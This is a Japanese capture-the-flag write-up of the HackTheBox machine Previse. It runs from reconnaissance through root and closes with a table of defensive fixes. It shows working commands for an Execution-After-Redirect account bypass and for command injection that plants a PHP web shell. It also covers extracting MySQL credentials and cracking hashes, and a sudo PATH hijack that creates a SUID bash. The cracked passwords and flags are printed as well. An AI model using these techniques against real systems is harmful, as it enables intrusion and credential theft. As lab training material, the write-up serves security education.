HackTheBox: Previse — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 80/http
→
22/ssh, 80/http
EAR(Execution After Redirect)
accounts.php
→
accounts.php
自己アカウント作成
認証なしで登録
→
認証なしで登録
logs.php exec()注入
delimパラメータ
→
delimパラメータ
PHP Webシェル設置
→
config.php窃取
MySQL root:mySQL_p@ssw0rd!:)
→
MySQL root:mySQL_p@ssw0rd!:)
accountsテーブル
m4lwhere MD5cryptハッシュ
→
m4lwhere MD5cryptハッシュ
john クラック → SSH → user.txt ✓
→
sudo access_backup.sh
gzip相対PATH呼出し
→
gzip相対PATH呼出し
偽gzip → SUID bash → root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.95.185 nmap -sV -sC -p 22,80 10.129.95.185
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-title: Previse Login
サイト構成の把握
BASH
curl -s http://10.129.95.185/ -o /dev/null -w "%{http_code} -> %{redirect_url}\n"
curl -s http://10.129.95.185/login.php | grep -i title
RESULT
302 -> http://10.129.95.185/login.php <title>Previse Login</title>
ℹ️
「Previse File Storage」というログイン必須のPHP自作アプリ。トップページは
未認証だと
login.phpへ302リダイレクトされる。アカウント作成UIは
見当たらず、accounts.phpというエンドポイント名から
アカウント管理機能の存在が推測できる。
PHASE 2
EAR (Execution After Redirect) による認証バイパス — 自己アカウント作成
accounts.phpの保護ロジックを調査
BASH
curl -s -i http://10.129.95.185/accounts.php | head -20
RESULT
HTTP/1.1 302 Found Location: login.php <center><h3>You must be an admin to access this page.</h3>...</center> ... (※アカウント作成フォームのHTML本体が続けて出力される) ...
🚨
重要発見: サーバーはセッション未確立時に
header("Location: login.php")を送出するが、その直後に
exitやdie()を呼んでいないため、
PHPスクリプトの実行自体は継続し、本来は管理者だけに
見せるはずのアカウント作成フォームが302レスポンスの本文に
そのまま出力されてしまう(EAR = Execution After Redirect の典型例)。
さらに重要なのは、このフォーム処理ロジック自体も続行されているため、
そのままPOSTすればアカウント作成処理まで実行されてしまう点。
リダイレクトを追従せずアカウント作成POST
BASH
curl -s --max-redirs 0 -X POST \ --data "username=kcr_pwn9&password=KcrPwn9!&confirm=KcrPwn9!&submit=" \ http://10.129.95.185/accounts.php
RESULT (本検証の実際の応答)
HTTP/1.1 302 Found Location: login.php ... 本文中に "Success" を含むアカウント作成完了メッセージ ...
✅
認証バイパス成功!
--max-redirs 0でリダイレクトを
追従せずにいると、302レスポンスであってもサーバー側の処理
(アカウントのDB追加)は既に完了している。これで新規アカウント
kcr_pwn9:KcrPwn9!を自由に作成できた。
作成したアカウントでログイン
BASH
curl -s -c cookies.txt -X POST \ --data "username=kcr_pwn9&password=KcrPwn9!" \ http://10.129.95.185/login.php
RESULT
Set-Cookie: PHPSESSID=8pooi3l8...; path=/ Location: /index.php
✅
ログイン成功! 以降のリクエストはこの
PHPSESSID
Cookieを使って認証済みユーザーとして送信する。
PHASE 3
logs.php exec()インジェクション & user.txt取得
logs.phpの脆弱な実装
NOTE
認証後アクセス可能な logs.php は、ログファイルを任意の区切り文字(delim)で
CSV風に整形してダウンロードさせる機能を持つ。サーバー側はおそらく
exec("/bin/bash export_contacts.sh '$delim'");
のような形で、ユーザー入力(delim)をシェルコマンドへ直接連結して
exec() している。delimにシェルのコマンド区切り文字(;)を混ぜることで、
任意コマンドを注入できる。
BASH (PHP Webシェルをbase64で埋め込み、デコードしてweb rootへ書き込む)
PAYLOAD='<?php system($_GET["c"]); ?>'
B64=$(echo -n "$PAYLOAD" | base64 -w0)
curl -s -b cookies.txt -X POST \
--data-urlencode "delim=;echo ${B64}|base64 -d>/var/www/html/kcr_pv.php;" \
http://10.129.95.185/logs.php
✅
RCE成功! サーバーのweb root直下に
kcr_pv.phpというPHP Webシェルが書き込まれた。
Webシェルでconfig.phpを読みMySQL資格情報を取得
BASH
curl -s "http://10.129.95.185/kcr_pv.php?c=cat+/var/www/html/config.php"
RESULT (本検証の実際の出力)
<?php
function connectDB(){
$host = 'localhost';
$user = 'root';
$passwd = 'mySQL_p@ssw0rd!:)';
$db = 'previse';
$mycon = new mysqli($host, $user, $passwd, $db);
return $mycon;
}
?>
⚠️
パスワード末尾は
!:)(感嘆符+コロン+閉じ括弧の顔文字風)であり、
:)!のような順序違いと取り違えやすいので実際の出力を
必ずそのままコピーすること。
MySQLからaccountsテーブルのハッシュを取得
BASH
curl -s "http://10.129.95.185/kcr_pv.php?c=mysql+-u+root+-p'mySQL_p@ssw0rd!:)'+previse+-e+'select+username,password+from+accounts;'"
RESULT (本検証の実際の出力)
username password
m4lwhere $1$🧂llol$DQpmdvnb7EeuO6UaqRItf.
kcr_pwn9 $1$🧂llol$uRmSdduFNfBWUko/ibUUS/
ℹ️
ハッシュはMD5crypt(
$1$...)形式で、ソルトに
絵文字(🧂、塩の絵文字)が使われているという凝った演出。
クラックにはjohnのmd5crypt-longフォーマットが
Unicode文字を含むソルトを正しく扱える。
john でハッシュをクラック & SSHでuser.txt取得
BASH
echo 'm4lwhere:$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.' > m4lwhere.hash john --wordlist=/usr/share/wordlists/rockyou.txt \ --format=md5crypt-long m4lwhere.hash john --show --format=md5crypt-long m4lwhere.hash
RESULT
m4lwhere:ilovecody112235!
1 password hash cracked, 0 left
BASH
sshpass -p 'ilovecody112235!' ssh m4lwhere@10.129.95.185 \ "cat /home/m4lwhere/user.txt"
RESULT
7dd68b26803ee2552e6f40be5a4389e8
user.txt — m4lwhere
7dd68b26803ee2552e6f40be5a4389e8
PHASE 4
sudoスクリプトのPATHハイジャック — root.txt取得
sudo権限の確認
BASH
sudo -l
RESULT
User m4lwhere may run the following commands on previse:
(root) /opt/scripts/access_backup.sh
BASH
cat /opt/scripts/access_backup.sh
RESULT (抜粋)
#!/bin/bash
cd /var/www/html
gzip -c access.log > /var/backups/access_backup_$(date ...).gz
...
🚨
重要発見: このスクリプトは
gzipコマンドを
絶対パス(/bin/gzip)ではなく裸のコマンド名で
呼び出している。シェルはこの場合PATH環境変数に従ってgzipを
検索するため、PATHの先頭に偽のgzipを置けば、
root権限で実行されるこのスクリプト経由で任意コードを実行できる。
偽gzipの設置 & PATHハイジャック
BASH (SSHシェル上で実行)
printf '#!/bin/bash\ncp /bin/bash /tmp/bash\nchmod 4755 /tmp/bash\n' > /tmp/gzip chmod +x /tmp/gzip export PATH=/tmp:$PATH echo 'ilovecody112235!' | sudo -S /opt/scripts/access_backup.sh /tmp/bash -p -c 'cat /root/root.txt'
RESULT (本検証の実際の出力)
c8e45e8689408a0e80907417ca4d6649
✅
root化成功!
sudoでroot権限で起動された
access_backup.shが、ハイジャックしたPATHから偽
/tmp/gzipを読み込んで実行。これが/bin/bashを
/tmp/bashとしてコピーしSUIDビット(4755)を付与するため、
以降は/tmp/bash -pで特権を保持したままシェルを起動でき
/root/root.txtを直接読み取れた。
root.txt — sudo access_backup.sh PATH hijack
c8e45e8689408a0e80907417ca4d6649
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — m4lwhere
7dd68b26803ee2552e6f40be5a4389e8
root.txt — sudo access_backup.sh PATH hijack
c8e45e8689408a0e80907417ca4d6649
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| EAR (Execution After Redirect) | accounts.php | 認証バイパス・自己アカウント作成 | Critical | リダイレクトを追従せずPOSTし、未認証のまま処理完了させる |
| exec() コマンドインジェクション | logs.php (delimパラメータ) | リモートコード実行 (www-data) | Critical | delim値にシェル区切り文字を混入しPHP Webシェルを書き込む |
| 設定ファイルの平文パスワード | config.php (MySQL) | 資格情報の奪取 | High | Webシェルで直接読取、accountsテーブルのハッシュ取得にも悪用 |
| sudoスクリプトの相対PATH呼び出し | /opt/scripts/access_backup.sh (gzip) | 権限昇格 (root) | High | PATH環境変数を操作し偽gzipをroot権限で実行させSUID bashを作成 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap | 22/ssh, 80/http (Previse File Storage) |
| 2 | 認証バイパス | EAR (–max-redirs 0 でPOST) | 自己アカウント kcr_pwn9:KcrPwn9! |
| 3 | RCE+横移動 | logs.php exec()注入 → config.php → MySQL → john | user.txt (m4lwhere) |
| 4 | 権限昇格 | sudoスクリプトのPATHハイジャック | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
リダイレクトヘッダー送出後にexit/die()を呼んでいない(EAR) |
認証チェックで拒否する全ての分岐で、必ずheader()直後にexit;を置き以降の処理を確実に止める。 |
| ユーザー入力をサニタイズせずシェルコマンドへ連結している | exec()/system()は極力使わず、どうしても必要な場合はescapeshellarg()で確実にエスケープし、可能ならホワイトリスト方式に限定する。 |
| データベース接続情報(パスワード)が設定ファイルに平文で保存されている | 環境変数やシークレット管理サービスを利用し、設定ファイルに平文パスワードを直接書かない。Webルート外への配置やパーミッション制限も併用する。 |
| sudo実行スクリプトが外部コマンドを絶対パスでなく相対PATH解決で呼び出している | sudoで実行されるスクリプトが呼ぶ外部コマンドは必ず絶対パスで指定し、スクリプト冒頭でPATH環境変数自体を安全な固定値へ上書きする。 |

